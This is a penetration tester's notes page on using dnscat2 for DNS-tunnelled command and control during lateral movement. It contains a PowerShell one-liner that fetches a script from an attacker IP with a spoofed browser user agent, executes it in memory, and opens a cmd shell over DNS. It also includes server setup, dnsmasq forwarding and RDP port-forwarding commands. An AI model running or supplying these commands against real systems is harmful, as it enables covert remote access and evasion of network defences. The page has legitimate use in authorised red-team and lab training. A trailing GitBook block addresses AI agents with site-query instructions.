> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/lateral-movement/dnscat.md).

# DNScat

```
git clone https://github.com/iagox86/dnscat2.git
```

### Server Installation

```bash
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
```

#### Windows ---> Ubuntu ---> Kali (Server)

**Windows (DNSserver = Internal Ubuntu IP)**

```
$wc = New-Object System.Net.WebClient; $wc.Headers['User-Agent'] = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome; $wc.DownloadString('http://192.168.49.120/dnscat2.ps1') | IEX; Start-Dnscat2 -DNSserver 172.16.237.21 -Domain tunnel.com -PreSharedSecret 55cc1770f5788ab89b9071cb62907c21 -Exec cmd
```

**Kali (host = Kali IP)**

```
sudo ruby ~/tools/dnscat2/server/dnscat2.rb --dns host=192.168.49.120,port=53,domain=tunnel.com --no-cache
```

**Ubuntu (server = Kali IP)**

* /etc/dnsmasq.conf

```
server=/tunnel.com/192.168.49.120
sudo systemctl restart dnsmasq
```

### PowerShell Client (Separate Steps)

```bash
git clone https://github.com/lukebaggett/dnscat2-powershell.git
```

Import on target:

```powershell
Import-Module .\dnscat2.ps1
```

Establish tunnel:

```powershell
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd
```

#### Can Set Up a Forward to Push Traffic Across a Tunnel

```
listen 127.0.0.1:3389 <TARGET IP>:3389
listen 127.0.0.1:3389 172.16.106.132:3389
```

#### Used to List dnscat2 Options

```
dnscat2> ?
```

#### Used to Interact with an Established dnscat2 Session

```
dnscat2> window -i 1
```

* Ctrl+Z to go back

**Note:** Very slow connection since all traffic tunnels over DNS queries.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/lateral-movement/dnscat.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
